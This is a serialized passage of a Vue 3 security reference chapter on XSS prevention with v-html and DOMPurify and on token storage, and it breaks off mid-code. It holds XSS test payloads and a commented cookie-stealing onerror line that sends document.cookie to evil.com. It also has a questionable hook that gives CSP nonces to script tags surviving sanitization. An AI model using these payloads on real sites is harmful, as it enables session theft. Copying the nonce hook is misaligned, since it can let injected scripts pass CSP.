[{"data":1,"prerenderedAt":2651},["ShallowReactive",2],{"page-\u002Fvue\u002F22-security":3},{"id":4,"title":5,"body":6,"description":2644,"extension":2645,"meta":2646,"navigation":88,"path":2647,"seo":2648,"stem":2649,"__hash__":2650},"content\u002Fvue\u002F22-security.md","Vue 3 Engineering Reference — Security",{"type":7,"value":8,"toc":2632},"minimark",[9,14,19,584,588,985,989,1536,1540,1771,1775,2035,2039,2171,2175,2296,2300,2307,2425,2628],[10,11,13],"h1",{"id":12},"_22-security","22 — Security",[15,16,18],"h2",{"id":17},"xss-prevention-auto-escaping-vs-v-html","XSS Prevention — Auto-Escaping vs v-html",[20,21,24,323,328],"code-wrapper",{"filename":22,"language":23},"XSSPrevention.vue","vue",[25,26,30],"pre",{"className":27,"code":28,"language":23,"meta":29,"style":29},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript setup>\nimport { ref, computed } from 'vue'\nimport DOMPurify from 'dompurify'\n\nconst userComment = ref('\u003Cscript>alert(\"xss\")\u003C\\\u002Fscript>')\nconst userBio = ref('\u003Cimg src=x onerror=alert(1)>')\nconst trustedHtml = ref('\u003Cstrong>Bold text\u003C\u002Fstrong>')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- ── SAFE: {{ }} escapes all HTML entities ── -->\n  \u003C!-- Renders literally: \u003Cscript>alert(\"xss\")\u003C\u002Fscript> as text, not executed -->\n  \u003Cp>{{ userComment }}\u003C\u002Fp>\n\n  \u003C!-- ── SAFE: v-bind escapes attribute values ── -->\n  \u003Cimg :alt=\"userBio\" \u002F>  \u003C!-- onerror in alt text, not as an attribute -->\n\n  \u003C!-- ── DANGEROUS: v-html injects raw HTML — XSS vector ── -->\n  \u003C!-- \u003Cp v-html=\"userComment\" \u002F> → \u003Cscript> executes! -->\n  \u003C!-- NEVER use v-html with user-generated content without sanitization. -->\n\n  \u003C!-- ── SAFE: sanitize with DOMPurify before v-html ── -->\n  \u003Cp v-html=\"DOMPurify.sanitize(trustedHtml)\" \u002F>\n  \u003C!-- DOMPurify removes: \u003Cscript>, onerror, onclick, javascript: URLs -->\n  \u003C!-- Keeps: \u003Cstrong>, \u003Cem>, \u003Ca href>, \u003Cp>, \u003Cbr>, safe tags only -->\n\u003C\u002Ftemplate>\n","",[31,32,33,53,70,83,90,121,140,159,169,174,184,191,197,213,218,224,247,252,258,264,270,275,281,302,308,314],"code",{"__ignoreMap":29},[34,35,38,42,46,50],"span",{"class":36,"line":37},"line",1,[34,39,41],{"class":40},"ssxIu","\u003C",[34,43,45],{"class":44},"sk71V","script",[34,47,49],{"class":48},"sIsaT"," setup",[34,51,52],{"class":40},">\n",[34,54,56,60,63,66],{"class":36,"line":55},2,[34,57,59],{"class":58},"svdQ7","import",[34,61,62],{"class":40}," { ref, computed } ",[34,64,65],{"class":58},"from",[34,67,69],{"class":68},"sJ6F3"," 'vue'\n",[34,71,73,75,78,80],{"class":36,"line":72},3,[34,74,59],{"class":58},[34,76,77],{"class":40}," DOMPurify ",[34,79,65],{"class":58},[34,81,82],{"class":68}," 'dompurify'\n",[34,84,86],{"class":36,"line":85},4,[34,87,89],{"emptyLinePlaceholder":88},true,"\n",[34,91,93,96,100,103,106,109,112,115,118],{"class":36,"line":92},5,[34,94,95],{"class":58},"const",[34,97,99],{"class":98},"snvgF"," userComment",[34,101,102],{"class":58}," =",[34,104,105],{"class":48}," ref",[34,107,108],{"class":40},"(",[34,110,111],{"class":68},"'\u003Cscript>alert(\"xss\")\u003C",[34,113,114],{"class":98},"\\\u002F",[34,116,117],{"class":68},"script>'",[34,119,120],{"class":40},")\n",[34,122,124,126,129,131,133,135,138],{"class":36,"line":123},6,[34,125,95],{"class":58},[34,127,128],{"class":98}," userBio",[34,130,102],{"class":58},[34,132,105],{"class":48},[34,134,108],{"class":40},[34,136,137],{"class":68},"'\u003Cimg src=x onerror=alert(1)>'",[34,139,120],{"class":40},[34,141,143,145,148,150,152,154,157],{"class":36,"line":142},7,[34,144,95],{"class":58},[34,146,147],{"class":98}," trustedHtml",[34,149,102],{"class":58},[34,151,105],{"class":48},[34,153,108],{"class":40},[34,155,156],{"class":68},"'\u003Cstrong>Bold text\u003C\u002Fstrong>'",[34,158,120],{"class":40},[34,160,162,165,167],{"class":36,"line":161},8,[34,163,164],{"class":40},"\u003C\u002F",[34,166,45],{"class":44},[34,168,52],{"class":40},[34,170,172],{"class":36,"line":171},9,[34,173,89],{"emptyLinePlaceholder":88},[34,175,177,179,182],{"class":36,"line":176},10,[34,178,41],{"class":40},[34,180,181],{"class":44},"template",[34,183,52],{"class":40},[34,185,187],{"class":36,"line":186},11,[34,188,190],{"class":189},"sdCPZ","  \u003C!-- ── SAFE: {{ }} escapes all HTML entities ── -->\n",[34,192,194],{"class":36,"line":193},12,[34,195,196],{"class":189},"  \u003C!-- Renders literally: \u003Cscript>alert(\"xss\")\u003C\u002Fscript> as text, not executed -->\n",[34,198,200,203,206,209,211],{"class":36,"line":199},13,[34,201,202],{"class":40},"  \u003C",[34,204,205],{"class":44},"p",[34,207,208],{"class":40},">{{ userComment }}\u003C\u002F",[34,210,205],{"class":44},[34,212,52],{"class":40},[34,214,216],{"class":36,"line":215},14,[34,217,89],{"emptyLinePlaceholder":88},[34,219,221],{"class":36,"line":220},15,[34,222,223],{"class":189},"  \u003C!-- ── SAFE: v-bind escapes attribute values ── -->\n",[34,225,227,229,232,235,238,241,244],{"class":36,"line":226},16,[34,228,202],{"class":40},[34,230,231],{"class":44},"img",[34,233,234],{"class":48}," :alt",[34,236,237],{"class":40},"=",[34,239,240],{"class":68},"\"userBio\"",[34,242,243],{"class":40}," \u002F>  ",[34,245,246],{"class":189},"\u003C!-- onerror in alt text, not as an attribute -->\n",[34,248,250],{"class":36,"line":249},17,[34,251,89],{"emptyLinePlaceholder":88},[34,253,255],{"class":36,"line":254},18,[34,256,257],{"class":189},"  \u003C!-- ── DANGEROUS: v-html injects raw HTML — XSS vector ── -->\n",[34,259,261],{"class":36,"line":260},19,[34,262,263],{"class":189},"  \u003C!-- \u003Cp v-html=\"userComment\" \u002F> → \u003Cscript> executes! -->\n",[34,265,267],{"class":36,"line":266},20,[34,268,269],{"class":189},"  \u003C!-- NEVER use v-html with user-generated content without sanitization. -->\n",[34,271,273],{"class":36,"line":272},21,[34,274,89],{"emptyLinePlaceholder":88},[34,276,278],{"class":36,"line":277},22,[34,279,280],{"class":189},"  \u003C!-- ── SAFE: sanitize with DOMPurify before v-html ── -->\n",[34,282,284,286,288,291,293,296,300],{"class":36,"line":283},23,[34,285,202],{"class":40},[34,287,205],{"class":44},[34,289,290],{"class":48}," v-html",[34,292,237],{"class":40},[34,294,295],{"class":68},"\"DOMPurify.sanitize(trustedHtml)\"",[34,297,299],{"class":298},"sMKGj"," \u002F",[34,301,52],{"class":40},[34,303,305],{"class":36,"line":304},24,[34,306,307],{"class":189},"  \u003C!-- DOMPurify removes: \u003Cscript>, onerror, onclick, javascript: URLs -->\n",[34,309,311],{"class":36,"line":310},25,[34,312,313],{"class":189},"  \u003C!-- Keeps: \u003Cstrong>, \u003Cem>, \u003Ca href>, \u003Cp>, \u003Cbr>, safe tags only -->\n",[34,315,317,319,321],{"class":36,"line":316},26,[34,318,164],{"class":40},[34,320,181],{"class":44},[34,322,52],{"class":40},[324,325,327],"h3",{"id":326},"anti-pattern-v-html-with-user-content","Anti-Pattern: v-html with User Content",[20,329,331,440],{"filename":330,"language":23},"XSSBug.vue",[25,332,334],{"className":27,"code":333,"language":23,"meta":29,"style":29},"\u003Cscript setup>\nimport { ref } from 'vue'\nconst comment = ref('')  \u002F\u002F user input\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- ❌ WRONG: direct v-html on user input — XSS vulnerability -->\n  \u003Cdiv v-html=\"comment\" \u002F>\n  \u003C!-- User types: \u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fevil.com?cookie='+document.cookie)\" \u002F> -->\n  \u003C!-- The onerror handler runs, stealing the user's cookies. -->\n\u003C\u002Ftemplate>\n",[31,335,336,346,357,379,387,391,399,404,422,427,432],{"__ignoreMap":29},[34,337,338,340,342,344],{"class":36,"line":37},[34,339,41],{"class":40},[34,341,45],{"class":44},[34,343,49],{"class":48},[34,345,52],{"class":40},[34,347,348,350,353,355],{"class":36,"line":55},[34,349,59],{"class":58},[34,351,352],{"class":40}," { ref } ",[34,354,65],{"class":58},[34,356,69],{"class":68},[34,358,359,361,364,366,368,370,373,376],{"class":36,"line":72},[34,360,95],{"class":58},[34,362,363],{"class":98}," comment",[34,365,102],{"class":58},[34,367,105],{"class":48},[34,369,108],{"class":40},[34,371,372],{"class":68},"''",[34,374,375],{"class":40},")  ",[34,377,378],{"class":189},"\u002F\u002F user input\n",[34,380,381,383,385],{"class":36,"line":85},[34,382,164],{"class":40},[34,384,45],{"class":44},[34,386,52],{"class":40},[34,388,389],{"class":36,"line":92},[34,390,89],{"emptyLinePlaceholder":88},[34,392,393,395,397],{"class":36,"line":123},[34,394,41],{"class":40},[34,396,181],{"class":44},[34,398,52],{"class":40},[34,400,401],{"class":36,"line":142},[34,402,403],{"class":189},"  \u003C!-- ❌ WRONG: direct v-html on user input — XSS vulnerability -->\n",[34,405,406,408,411,413,415,418,420],{"class":36,"line":161},[34,407,202],{"class":40},[34,409,410],{"class":44},"div",[34,412,290],{"class":48},[34,414,237],{"class":40},[34,416,417],{"class":68},"\"comment\"",[34,419,299],{"class":298},[34,421,52],{"class":40},[34,423,424],{"class":36,"line":171},[34,425,426],{"class":189},"  \u003C!-- User types: \u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fevil.com?cookie='+document.cookie)\" \u002F> -->\n",[34,428,429],{"class":36,"line":176},[34,430,431],{"class":189},"  \u003C!-- The onerror handler runs, stealing the user's cookies. -->\n",[34,433,434,436,438],{"class":36,"line":186},[34,435,164],{"class":40},[34,437,181],{"class":44},[34,439,52],{"class":40},[20,441,443],{"filename":442,"language":23},"XSSFixed.vue",[25,444,446],{"className":27,"code":445,"language":23,"meta":29,"style":29},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\nimport DOMPurify from 'dompurify'\n\nconst comment = ref('')\n\n\u002F\u002F ── Sanitized HTML: computed re-runs when comment changes ──\nconst safeHtml = computed(() => DOMPurify.sanitize(comment.value))\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- ✅ CORRECT: sanitized before v-html -->\n  \u003Cdiv v-html=\"safeHtml\" \u002F>\n\u003C\u002Ftemplate>\n",[31,447,448,458,468,478,482,498,502,507,534,542,546,554,559,576],{"__ignoreMap":29},[34,449,450,452,454,456],{"class":36,"line":37},[34,451,41],{"class":40},[34,453,45],{"class":44},[34,455,49],{"class":48},[34,457,52],{"class":40},[34,459,460,462,464,466],{"class":36,"line":55},[34,461,59],{"class":58},[34,463,62],{"class":40},[34,465,65],{"class":58},[34,467,69],{"class":68},[34,469,470,472,474,476],{"class":36,"line":72},[34,471,59],{"class":58},[34,473,77],{"class":40},[34,475,65],{"class":58},[34,477,82],{"class":68},[34,479,480],{"class":36,"line":85},[34,481,89],{"emptyLinePlaceholder":88},[34,483,484,486,488,490,492,494,496],{"class":36,"line":92},[34,485,95],{"class":58},[34,487,363],{"class":98},[34,489,102],{"class":58},[34,491,105],{"class":48},[34,493,108],{"class":40},[34,495,372],{"class":68},[34,497,120],{"class":40},[34,499,500],{"class":36,"line":123},[34,501,89],{"emptyLinePlaceholder":88},[34,503,504],{"class":36,"line":142},[34,505,506],{"class":189},"\u002F\u002F ── Sanitized HTML: computed re-runs when comment changes ──\n",[34,508,509,511,514,516,519,522,525,528,531],{"class":36,"line":161},[34,510,95],{"class":58},[34,512,513],{"class":98}," safeHtml",[34,515,102],{"class":58},[34,517,518],{"class":48}," computed",[34,520,521],{"class":40},"(() ",[34,523,524],{"class":58},"=>",[34,526,527],{"class":40}," DOMPurify.",[34,529,530],{"class":48},"sanitize",[34,532,533],{"class":40},"(comment.value))\n",[34,535,536,538,540],{"class":36,"line":171},[34,537,164],{"class":40},[34,539,45],{"class":44},[34,541,52],{"class":40},[34,543,544],{"class":36,"line":176},[34,545,89],{"emptyLinePlaceholder":88},[34,547,548,550,552],{"class":36,"line":186},[34,549,41],{"class":40},[34,551,181],{"class":44},[34,553,52],{"class":40},[34,555,556],{"class":36,"line":193},[34,557,558],{"class":189},"  \u003C!-- ✅ CORRECT: sanitized before v-html -->\n",[34,560,561,563,565,567,569,572,574],{"class":36,"line":199},[34,562,202],{"class":40},[34,564,410],{"class":44},[34,566,290],{"class":48},[34,568,237],{"class":40},[34,570,571],{"class":68},"\"safeHtml\"",[34,573,299],{"class":298},[34,575,52],{"class":40},[34,577,578,580,582],{"class":36,"line":215},[34,579,164],{"class":40},[34,581,181],{"class":44},[34,583,52],{"class":40},[15,585,587],{"id":586},"dompurify-configuration-custom-allowed-tags","DOMPurify Configuration — Custom Allowed Tags",[20,589,592],{"filename":590,"language":591},"sanitization.ts","typescript",[25,593,596],{"className":594,"code":595,"language":591,"meta":29,"style":29},"language-typescript shiki shiki-themes github-light github-dark","import DOMPurify from 'dompurify'\n\n\u002F\u002F ── Custom DOMPurify config: allow specific tags and attributes ──\nconst cleanHtml = DOMPurify.sanitize(userInput, {\n  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],\n  ALLOWED_ATTR: ['href', 'class'],\n  \u002F\u002F ── FORBID_ATTR: explicitly block dangerous attributes ──\n  FORBID_ATTR: ['style', 'onerror', 'onclick', 'onload'],\n  \u002F\u002F ── ALLOW_DATA_ATTR: allow data-* attributes (custom) ──\n  ALLOW_DATA_ATTR: false,\n  \u002F\u002F ── ALLOWED_URI_REGEXP: restrict URI schemes ──\n  \u002F\u002F Only allow http, https, mailto — block javascript:, data:, etc.\n  ALLOWED_URI_REGEXP: \u002F^(?:(?:https?|mailto):)\u002Fi,\n})\n\n\u002F\u002F ── Hook: inspect and modify elements after sanitization ──\nDOMPurify.addHook('afterSanitizeAttributes', (node) => {\n  \u002F\u002F Force all links to open in new tab with rel=\"noopener noreferrer\"\n  if (node.tagName === 'A' && node.getAttribute('href')) {\n    node.setAttribute('target', '_blank')\n    node.setAttribute('rel', 'noopener noreferrer')\n  }\n})\n\n\u002F\u002F ── Content Security Policy (CSP) nonce: add to allowed scripts ──\nDOMPurify.addHook('afterSanitizeAttributes', (node) => {\n  if (node.tagName === 'SCRIPT') {\n    node.setAttribute('nonce', cspNonce)  \u002F\u002F aligns with CSP header\n  }\n})\n",[31,597,598,608,612,617,633,690,705,710,735,740,751,756,761,789,794,798,803,831,836,866,886,904,909,913,917,922,942,957,975,980],{"__ignoreMap":29},[34,599,600,602,604,606],{"class":36,"line":37},[34,601,59],{"class":58},[34,603,77],{"class":40},[34,605,65],{"class":58},[34,607,82],{"class":68},[34,609,610],{"class":36,"line":55},[34,611,89],{"emptyLinePlaceholder":88},[34,613,614],{"class":36,"line":72},[34,615,616],{"class":189},"\u002F\u002F ── Custom DOMPurify config: allow specific tags and attributes ──\n",[34,618,619,621,624,626,628,630],{"class":36,"line":85},[34,620,95],{"class":58},[34,622,623],{"class":98}," cleanHtml",[34,625,102],{"class":58},[34,627,527],{"class":40},[34,629,530],{"class":48},[34,631,632],{"class":40},"(userInput, {\n",[34,634,635,638,641,644,647,649,652,654,657,659,662,664,667,669,672,674,677,679,682,684,687],{"class":36,"line":92},[34,636,637],{"class":40},"  ALLOWED_TAGS: [",[34,639,640],{"class":68},"'p'",[34,642,643],{"class":40},", ",[34,645,646],{"class":68},"'br'",[34,648,643],{"class":40},[34,650,651],{"class":68},"'strong'",[34,653,643],{"class":40},[34,655,656],{"class":68},"'em'",[34,658,643],{"class":40},[34,660,661],{"class":68},"'a'",[34,663,643],{"class":40},[34,665,666],{"class":68},"'ul'",[34,668,643],{"class":40},[34,670,671],{"class":68},"'ol'",[34,673,643],{"class":40},[34,675,676],{"class":68},"'li'",[34,678,643],{"class":40},[34,680,681],{"class":68},"'code'",[34,683,643],{"class":40},[34,685,686],{"class":68},"'pre'",[34,688,689],{"class":40},"],\n",[34,691,692,695,698,700,703],{"class":36,"line":123},[34,693,694],{"class":40},"  ALLOWED_ATTR: [",[34,696,697],{"class":68},"'href'",[34,699,643],{"class":40},[34,701,702],{"class":68},"'class'",[34,704,689],{"class":40},[34,706,707],{"class":36,"line":142},[34,708,709],{"class":189},"  \u002F\u002F ── FORBID_ATTR: explicitly block dangerous attributes ──\n",[34,711,712,715,718,720,723,725,728,730,733],{"class":36,"line":161},[34,713,714],{"class":40},"  FORBID_ATTR: [",[34,716,717],{"class":68},"'style'",[34,719,643],{"class":40},[34,721,722],{"class":68},"'onerror'",[34,724,643],{"class":40},[34,726,727],{"class":68},"'onclick'",[34,729,643],{"class":40},[34,731,732],{"class":68},"'onload'",[34,734,689],{"class":40},[34,736,737],{"class":36,"line":171},[34,738,739],{"class":189},"  \u002F\u002F ── ALLOW_DATA_ATTR: allow data-* attributes (custom) ──\n",[34,741,742,745,748],{"class":36,"line":176},[34,743,744],{"class":40},"  ALLOW_DATA_ATTR: ",[34,746,747],{"class":98},"false",[34,749,750],{"class":40},",\n",[34,752,753],{"class":36,"line":186},[34,754,755],{"class":189},"  \u002F\u002F ── ALLOWED_URI_REGEXP: restrict URI schemes ──\n",[34,757,758],{"class":36,"line":193},[34,759,760],{"class":189},"  \u002F\u002F Only allow http, https, mailto — block javascript:, data:, etc.\n",[34,762,763,766,769,772,776,779,782,784,787],{"class":36,"line":199},[34,764,765],{"class":40},"  ALLOWED_URI_REGEXP: ",[34,767,768],{"class":68},"\u002F",[34,770,771],{"class":58},"^",[34,773,775],{"class":774},"svAP2","(?:(?:https",[34,777,778],{"class":58},"?|",[34,780,781],{"class":774},"mailto):)",[34,783,768],{"class":68},[34,785,786],{"class":58},"i",[34,788,750],{"class":40},[34,790,791],{"class":36,"line":215},[34,792,793],{"class":40},"})\n",[34,795,796],{"class":36,"line":220},[34,797,89],{"emptyLinePlaceholder":88},[34,799,800],{"class":36,"line":226},[34,801,802],{"class":189},"\u002F\u002F ── Hook: inspect and modify elements after sanitization ──\n",[34,804,805,808,811,813,816,819,823,826,828],{"class":36,"line":249},[34,806,807],{"class":40},"DOMPurify.",[34,809,810],{"class":48},"addHook",[34,812,108],{"class":40},[34,814,815],{"class":68},"'afterSanitizeAttributes'",[34,817,818],{"class":40},", (",[34,820,822],{"class":821},"sCrzJ","node",[34,824,825],{"class":40},") ",[34,827,524],{"class":58},[34,829,830],{"class":40}," {\n",[34,832,833],{"class":36,"line":254},[34,834,835],{"class":189},"  \u002F\u002F Force all links to open in new tab with rel=\"noopener noreferrer\"\n",[34,837,838,841,844,847,850,853,856,859,861,863],{"class":36,"line":260},[34,839,840],{"class":58},"  if",[34,842,843],{"class":40}," (node.tagName ",[34,845,846],{"class":58},"===",[34,848,849],{"class":68}," 'A'",[34,851,852],{"class":58}," &&",[34,854,855],{"class":40}," node.",[34,857,858],{"class":48},"getAttribute",[34,860,108],{"class":40},[34,862,697],{"class":68},[34,864,865],{"class":40},")) {\n",[34,867,868,871,874,876,879,881,884],{"class":36,"line":266},[34,869,870],{"class":40},"    node.",[34,872,873],{"class":48},"setAttribute",[34,875,108],{"class":40},[34,877,878],{"class":68},"'target'",[34,880,643],{"class":40},[34,882,883],{"class":68},"'_blank'",[34,885,120],{"class":40},[34,887,888,890,892,894,897,899,902],{"class":36,"line":272},[34,889,870],{"class":40},[34,891,873],{"class":48},[34,893,108],{"class":40},[34,895,896],{"class":68},"'rel'",[34,898,643],{"class":40},[34,900,901],{"class":68},"'noopener noreferrer'",[34,903,120],{"class":40},[34,905,906],{"class":36,"line":277},[34,907,908],{"class":40},"  }\n",[34,910,911],{"class":36,"line":283},[34,912,793],{"class":40},[34,914,915],{"class":36,"line":304},[34,916,89],{"emptyLinePlaceholder":88},[34,918,919],{"class":36,"line":310},[34,920,921],{"class":189},"\u002F\u002F ── Content Security Policy (CSP) nonce: add to allowed scripts ──\n",[34,923,924,926,928,930,932,934,936,938,940],{"class":36,"line":316},[34,925,807],{"class":40},[34,927,810],{"class":48},[34,929,108],{"class":40},[34,931,815],{"class":68},[34,933,818],{"class":40},[34,935,822],{"class":821},[34,937,825],{"class":40},[34,939,524],{"class":58},[34,941,830],{"class":40},[34,943,945,947,949,951,954],{"class":36,"line":944},27,[34,946,840],{"class":58},[34,948,843],{"class":40},[34,950,846],{"class":58},[34,952,953],{"class":68}," 'SCRIPT'",[34,955,956],{"class":40},") {\n",[34,958,960,962,964,966,969,972],{"class":36,"line":959},28,[34,961,870],{"class":40},[34,963,873],{"class":48},[34,965,108],{"class":40},[34,967,968],{"class":68},"'nonce'",[34,970,971],{"class":40},", cspNonce)  ",[34,973,974],{"class":189},"\u002F\u002F aligns with CSP header\n",[34,976,978],{"class":36,"line":977},29,[34,979,908],{"class":40},[34,981,983],{"class":36,"line":982},30,[34,984,793],{"class":40},[15,986,988],{"id":987},"credential-handling-token-storage-strategy","Credential Handling — Token Storage Strategy",[20,990,992],{"filename":991,"language":591},"credential-security.ts",[25,993,995],{"className":594,"code":994,"language":591,"meta":29,"style":29},"import { ref, readonly, type Ref } from 'vue'\n\n\u002F\u002F ── Token storage: localStorage vs httpOnly cookie ──\n\u002F\u002F localStorage: accessible to JS (XSS can steal it).\n\u002F\u002F httpOnly cookie: NOT accessible to JS (immune to XSS), sent automatically.\n\n\u002F\u002F ── Production pattern: short-lived access token in memory + refresh in httpOnly cookie ──\nexport function useAuth() {\n  \u002F\u002F ── Access token: in memory only — lost on refresh, but immune to XSS theft ──\n  const accessToken = ref\u003Cstring | null>(null)\n\n  \u002F\u002F ── Refresh token: httpOnly cookie set by server, never touched by JS ──\n  \u002F\u002F Server sets Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict\n\n  async function login(credentials: { email: string; password: string }) {\n    const res = await fetch('\u002Fapi\u002Fauth\u002Flogin', {\n      method: 'POST',\n      body: JSON.stringify(credentials),\n      credentials: 'include',  \u002F\u002F send\u002Freceive cookies (refresh token)\n    })\n\n    const data = await res.json()\n    accessToken.value = data.accessToken  \u002F\u002F in memory only\n    \u002F\u002F Refresh token is in httpOnly cookie — never in JS.\n  }\n\n  async function refresh() {\n    \u002F\u002F ── Refresh: server reads httpOnly cookie, returns new access token ──\n    const res = await fetch('\u002Fapi\u002Fauth\u002Frefresh', {\n      credentials: 'include',  \u002F\u002F sends the httpOnly refresh cookie\n    })\n\n    if (!res.ok) {\n      accessToken.value = null  \u002F\u002F refresh failed — must re-login\n      throw new Error('Session expired')\n    }\n\n    const data = await res.json()\n    accessToken.value = data.accessToken\n  }\n\n  function logout() {\n    accessToken.value = null\n    \u002F\u002F Server endpoint clears the httpOnly cookie (can't clear it from JS).\n    fetch('\u002Fapi\u002Fauth\u002Flogout', { method: 'POST', credentials: 'include' })\n  }\n\n  return {\n    accessToken: readonly(accessToken),  \u002F\u002F read-only — no external mutation\n    login,\n    refresh,\n    logout,\n  }\n}\n",[31,996,997,1014,1018,1023,1028,1033,1037,1042,1056,1061,1092,1096,1101,1106,1110,1152,1176,1186,1203,1217,1222,1226,1246,1259,1264,1268,1272,1283,1288,1307,1318,1323,1328,1343,1356,1375,1381,1386,1403,1413,1418,1423,1434,1444,1450,1474,1479,1484,1492,1507,1513,1519,1525,1530],{"__ignoreMap":29},[34,998,999,1001,1004,1007,1010,1012],{"class":36,"line":37},[34,1000,59],{"class":58},[34,1002,1003],{"class":40}," { ref, readonly, ",[34,1005,1006],{"class":58},"type",[34,1008,1009],{"class":40}," Ref } ",[34,1011,65],{"class":58},[34,1013,69],{"class":68},[34,1015,1016],{"class":36,"line":55},[34,1017,89],{"emptyLinePlaceholder":88},[34,1019,1020],{"class":36,"line":72},[34,1021,1022],{"class":189},"\u002F\u002F ── Token storage: localStorage vs httpOnly cookie ──\n",[34,1024,1025],{"class":36,"line":85},[34,1026,1027],{"class":189},"\u002F\u002F localStorage: accessible to JS (XSS can steal it).\n",[34,1029,1030],{"class":36,"line":92},[34,1031,1032],{"class":189},"\u002F\u002F httpOnly cookie: NOT accessible to JS (immune to XSS), sent automatically.\n",[34,1034,1035],{"class":36,"line":123},[34,1036,89],{"emptyLinePlaceholder":88},[34,1038,1039],{"class":36,"line":142},[34,1040,1041],{"class":189},"\u002F\u002F ── Production pattern: short-lived access token in memory + refresh in httpOnly cookie ──\n",[34,1043,1044,1047,1050,1053],{"class":36,"line":161},[34,1045,1046],{"class":58},"export",[34,1048,1049],{"class":58}," function",[34,1051,1052],{"class":48}," useAuth",[34,1054,1055],{"class":40},"() {\n",[34,1057,1058],{"class":36,"line":171},[34,1059,1060],{"class":189},"  \u002F\u002F ── Access token: in memory only — lost on refresh, but immune to XSS theft ──\n",[34,1062,1063,1066,1069,1071,1073,1075,1078,1081,1084,1087,1090],{"class":36,"line":176},[34,1064,1065],{"class":58},"  const",[34,1067,1068],{"class":98}," accessToken",[34,1070,102],{"class":58},[34,1072,105],{"class":48},[34,1074,41],{"class":40},[34,1076,1077],{"class":98},"string",[34,1079,1080],{"class":58}," |",[34,1082,1083],{"class":98}," null",[34,1085,1086],{"class":40},">(",[34,1088,1089],{"class":98},"null",[34,1091,120],{"class":40},[34,1093,1094],{"class":36,"line":186},[34,1095,89],{"emptyLinePlaceholder":88},[34,1097,1098],{"class":36,"line":193},[34,1099,1100],{"class":189},"  \u002F\u002F ── Refresh token: httpOnly cookie set by server, never touched by JS ──\n",[34,1102,1103],{"class":36,"line":199},[34,1104,1105],{"class":189},"  \u002F\u002F Server sets Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict\n",[34,1107,1108],{"class":36,"line":215},[34,1109,89],{"emptyLinePlaceholder":88},[34,1111,1112,1115,1117,1120,1122,1125,1128,1131,1134,1136,1139,1142,1145,1147,1149],{"class":36,"line":220},[34,1113,1114],{"class":58},"  async",[34,1116,1049],{"class":58},[34,1118,1119],{"class":48}," login",[34,1121,108],{"class":40},[34,1123,1124],{"class":821},"credentials",[34,1126,1127],{"class":58},":",[34,1129,1130],{"class":40}," { ",[34,1132,1133],{"class":821},"email",[34,1135,1127],{"class":58},[34,1137,1138],{"class":98}," string",[34,1140,1141],{"class":40},"; ",[34,1143,1144],{"class":821},"password",[34,1146,1127],{"class":58},[34,1148,1138],{"class":98},[34,1150,1151],{"class":40}," }) {\n",[34,1153,1154,1157,1160,1162,1165,1168,1170,1173],{"class":36,"line":226},[34,1155,1156],{"class":58},"    const",[34,1158,1159],{"class":98}," res",[34,1161,102],{"class":58},[34,1163,1164],{"class":58}," await",[34,1166,1167],{"class":48}," fetch",[34,1169,108],{"class":40},[34,1171,1172],{"class":68},"'\u002Fapi\u002Fauth\u002Flogin'",[34,1174,1175],{"class":40},", {\n",[34,1177,1178,1181,1184],{"class":36,"line":249},[34,1179,1180],{"class":40},"      method: ",[34,1182,1183],{"class":68},"'POST'",[34,1185,750],{"class":40},[34,1187,1188,1191,1194,1197,1200],{"class":36,"line":254},[34,1189,1190],{"class":40},"      body: ",[34,1192,1193],{"class":98},"JSON",[34,1195,1196],{"class":40},".",[34,1198,1199],{"class":48},"stringify",[34,1201,1202],{"class":40},"(credentials),\n",[34,1204,1205,1208,1211,1214],{"class":36,"line":260},[34,1206,1207],{"class":40},"      credentials: ",[34,1209,1210],{"class":68},"'include'",[34,1212,1213],{"class":40},",  ",[34,1215,1216],{"class":189},"\u002F\u002F send\u002Freceive cookies (refresh token)\n",[34,1218,1219],{"class":36,"line":266},[34,1220,1221],{"class":40},"    })\n",[34,1223,1224],{"class":36,"line":272},[34,1225,89],{"emptyLinePlaceholder":88},[34,1227,1228,1230,1233,1235,1237,1240,1243],{"class":36,"line":277},[34,1229,1156],{"class":58},[34,1231,1232],{"class":98}," data",[34,1234,102],{"class":58},[34,1236,1164],{"class":58},[34,1238,1239],{"class":40}," res.",[34,1241,1242],{"class":48},"json",[34,1244,1245],{"class":40},"()\n",[34,1247,1248,1251,1253,1256],{"class":36,"line":283},[34,1249,1250],{"class":40},"    accessToken.value ",[34,1252,237],{"class":58},[34,1254,1255],{"class":40}," data.accessToken  ",[34,1257,1258],{"class":189},"\u002F\u002F in memory only\n",[34,1260,1261],{"class":36,"line":304},[34,1262,1263],{"class":189},"    \u002F\u002F Refresh token is in httpOnly cookie — never in JS.\n",[34,1265,1266],{"class":36,"line":310},[34,1267,908],{"class":40},[34,1269,1270],{"class":36,"line":316},[34,1271,89],{"emptyLinePlaceholder":88},[34,1273,1274,1276,1278,1281],{"class":36,"line":944},[34,1275,1114],{"class":58},[34,1277,1049],{"class":58},[34,1279,1280],{"class":48}," refresh",[34,1282,1055],{"class":40},[34,1284,1285],{"class":36,"line":959},[34,1286,1287],{"class":189},"    \u002F\u002F ── Refresh: server reads httpOnly cookie, returns new access token ──\n",[34,1289,1290,1292,1294,1296,1298,1300,1302,1305],{"class":36,"line":977},[34,1291,1156],{"class":58},[34,1293,1159],{"class":98},[34,1295,102],{"class":58},[34,1297,1164],{"class":58},[34,1299,1167],{"class":48},[34,1301,108],{"class":40},[34,1303,1304],{"class":68},"'\u002Fapi\u002Fauth\u002Frefresh'",[34,1306,1175],{"class":40},[34,1308,1309,1311,1313,1315],{"class":36,"line":982},[34,1310,1207],{"class":40},[34,1312,1210],{"class":68},[34,1314,1213],{"class":40},[34,1316,1317],{"class":189},"\u002F\u002F sends the httpOnly refresh 